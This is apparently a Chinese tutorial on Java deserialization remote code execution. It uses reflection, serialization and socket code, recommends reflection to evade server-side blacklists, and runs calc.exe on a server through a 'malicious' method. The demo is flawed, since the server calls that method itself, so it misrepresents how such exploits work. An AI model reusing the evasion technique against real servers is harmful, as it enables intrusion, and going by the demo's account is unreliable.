主要有3個部分組成:
1、Java的反省機制
2、Java的序列化處理
3、Java的遠程代碼執(zhí)行
Java的反射與代碼執(zhí)行
我們先看個簡單的例子,使用Java調(diào)用計算器程序:
import java.io.IOException; import java.lang.Runtime; public class Test { public static void main(String[] args) { Runtime env = Runtime.getRuntime(); String cmd = "calc.exe"; try { env.exec(cmd); } catch (IOException e) { e.printStackTrace(); } } }
我們從java.lang包中導(dǎo)入Runtime類,之后調(diào)用其getRuntime方法得到1個Runtime對象,該對象可以用于JVM虛擬機運行狀態(tài)的處理。接著我們調(diào)用其exec方法,傳入1個字符串作為參數(shù)。
此時,將啟動本地計算機上的計算器程序。
下面我們通過Java的反省機制對上述的代碼進行重寫。通過Java的反省機制可以動態(tài)的調(diào)用代碼,而逃過一些服務(wù)端黑名單的處理:
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Test { public static void main(String[] args) { try { Class<?> cls = Class.forName("java.lang.Runtime"); String cmd = "calc.exe"; try { Method getRuntime = cls.getMethod("getRuntime", new Class[] {}); Object runtime = getRuntime.invoke(null); Method exec = cls.getMethod("exec", String.class); exec.invoke(runtime, cmd); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } catch (ClassNotFoundException e1) { e1.printStackTrace(); } } }
上述代碼看起來很繁瑣,實際上并不是很難。首先,通過Class.forName傳入1個字符串作為參數(shù),其返回1個Class的實例。而其作用是根據(jù)對應(yīng)的名稱找到對應(yīng)的類。
接著我們使用Class實例的getMethod方法獲取對應(yīng)類的getRuntime方法,由于該類沒有參數(shù),因此可以將其設(shè)置為null或使用匿名類來處理。
Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
之后通過得到的方法的實例的invoke方法調(diào)用對應(yīng)的類方法,由于沒有參數(shù)則傳入null即可。同理,我們再獲取到exec方法。
Java序列化處理
對于Java中的序列化處理,對應(yīng)的類需要實現(xiàn)Serializable接口,例如:
import java.io.Serializable; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class Reader implements Serializable { private static final long serialVersionUID = 10L; private void readObject(ObjectInputStream stream) { System.out.println("foo...bar..."); } public static byte[] serialize(Object obj) { //序列化對象 ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream output = null; try { output = new ObjectOutputStream(out); output.writeObject(obj); output.flush(); output.close(); } catch (IOException e) { e.printStackTrace(); } return out.toByteArray(); } public static Object deserialize(byte[] bytes) { //反序列化處理 ByteArrayInputStream in = new ByteArrayInputStream(bytes); ObjectInputStream input; Object obj = null; try { input = new ObjectInputStream(in); obj = input.readObject(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } return obj; } public static void main(String[] args) { byte[] data = serialize(new Reader()); //對類自身進行序列化 Object response = deserialize(data); System.out.println(response); } }
在這里我們重寫了該類的readObject方法,用于讀取對象用于測試。其中比較重要的2個函數(shù)是serialize和deserialize,分別用于序列化和反序列化處理。
其中,serialize方法需要傳入1個對象作為參數(shù),其輸出結(jié)果為1個字節(jié)數(shù)組。在該類中,其中的對象輸出流ObjectOutputStream主要用于ByteArrayOutputStream進行包裝,之后使用其writeObject方法將對象寫入進去,最后我們通過ByteArrayOutputStream實例的toByteArray方法得到字節(jié)數(shù)組。
而在deserialize方法中,需要傳入1個字節(jié)數(shù)組,而返回值為1個Object對象。與之前的序列化serialize函數(shù)類似,此時我們使用ByteArrayInputStream接收字節(jié)數(shù)組,之后使用ObjectInputStream對ByteArrayInputStream進行包裝,接著調(diào)用其readObject方法得到1個Object對象,并將其返回。
當我們運行該類時,將得到如下的結(jié)果:
Java遠程通信與傳輸
為了實現(xiàn)Java代碼的遠程傳輸及遠程代碼執(zhí)行,我們可以借助RMI、RPC等方式。而在這里我們使用Socket進行服務(wù)端及客戶端處理。
首先是服務(wù)器端,監(jiān)聽本地的8888端口,其代碼為:
import java.net.Socket; import java.io.IOException; import java.io.InputStream; import java.net.ServerSocket; public class Server { public static void main(String[] args) throws ClassNotFoundException { int port = 8888; try { ServerSocket server = new ServerSocket(port); System.out.println("Server is waiting for connect"); Socket socket = server.accept(); InputStream input = socket.getInputStream(); byte[] bytes = new byte[1024]; int length = 0; while((length=input.read(bytes))!=-1) { String out = new String(bytes, 0, length, "UTF-8"); System.out.println(out); } input.close(); socket.close(); server.close(); } catch (IOException e) { e.printStackTrace(); } } }
我們通過傳入1個端口來實例化ServerSocket類,此時得到1個服務(wù)器的socket,之后調(diào)用其accept方法接收客戶端的請求。此時,得到了1個socket對象,而通過socket對象的getInputStream方法獲取輸入流,并指定1個長度為1024的字節(jié)數(shù)組。
接著調(diào)用socket的read方法讀取那么指定長度的字節(jié)序列,之后通過String構(gòu)造器將字節(jié)數(shù)組轉(zhuǎn)換為字符串并輸出。這樣我們就得到了客戶端傳輸?shù)膬?nèi)容。
而對于客戶端器,其代碼類似如下:
import java.io.IOException; import java.net.Socket; import java.io.OutputStream; public class Client { public static void main(String[] args) { String host = "192.168.1.108"; int port = 8888; try { Socket socket = new Socket(host, port); OutputStream output = socket.getOutputStream(); String message = "Hello,Java Socket Server"; output.write(message.getBytes("UTF-8")); output.close(); socket.close(); } catch (IOException e) { e.printStackTrace(); } } }
在客戶端,我們通過Socket對象傳遞要連接的IP地址和端口,之后通過socket對象的getOutputStream方法獲取到輸出流,用于往服務(wù)器端發(fā)送輸出。由于這里只是演示,使用的是本地的主機IP。而在實際應(yīng)用中,如果我們知道某個外網(wǎng)主機的IP及開放的端口,如果當前主機存在對應(yīng)的漏洞,也是可以利用類似的方式來實現(xiàn)的。
這里我們設(shè)置要傳輸?shù)膬?nèi)容為UTF-8編碼的字符串,俄日在輸出流的write方法中通過字符串的getBytes指定其編碼,從而將其轉(zhuǎn)換為對應(yīng)的字節(jié)數(shù)組進行發(fā)送。
正常情況下,我們運行服務(wù)器后再運行客戶端,在服務(wù)器端可以得到如下輸出:
Server is waiting for connect Hello,Java Socket Server
Java反序列化與遠程代碼執(zhí)行
下面我們通過Java反序列化的問題來實現(xiàn)遠程代碼執(zhí)行,為了實現(xiàn)遠程代碼執(zhí)行,我們首先在Reader類中添加1個malicious方法,其代碼為:
public Object malicious() throws IOException { Runtime.getRuntime().exec("calc.exe"); System.out.println("Hacked the Server..."); return this; }
在該方法中我們使用之前的介紹調(diào)用宿主機器上的計算器程序,然后輸出1個相關(guān)信息,最后返回當前類。
之后是對服務(wù)器端的代碼進行如下的修改:
while((length=input.read(bytes))!=-1) { Reader obj = (Reader) Reader.deserialize(bytes); obj.malicious(); }
我們在接收到客戶端對應(yīng)的字符串后對其進行反序列處理,之后調(diào)用某個指定的函數(shù),從而實現(xiàn)遠程代碼的執(zhí)行。而在客戶端,我們需要對其進行序列化處理:
Reader reader = new Reader(); byte[] bytes = Reader.serialize(reader); String message = new String(bytes); output.write(message.getBytes());
下面我們在宿主機器上運行服務(wù)器端程序,之后在本地機器上運行客戶端程序,當客戶端程序執(zhí)行時,可以看到類似如下的結(jié)果:
可以看到,我們成功的在宿主機器上執(zhí)行了對應(yīng)的命令執(zhí)行。
總結(jié)
為了實現(xiàn)通過Java的反序列問題來實現(xiàn)遠程代碼執(zhí)行的漏洞,我們需要編寫1個有惡意代碼注入的序列化類。之后在客戶端將惡意代碼序列化后發(fā)送給服務(wù)器端,而服務(wù)器端需要調(diào)用我們期望的方法,從而觸發(fā)遠程代碼執(zhí)行。
為了避免服務(wù)器端進行一些安全處理,我們可以采用反射的方式來逃逸其處理。
這里只是1個簡化的過程,更加實用的過程可以參考Apache Common Collections的問題導(dǎo)致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501。
推薦相關(guān)文章教程:web安全教程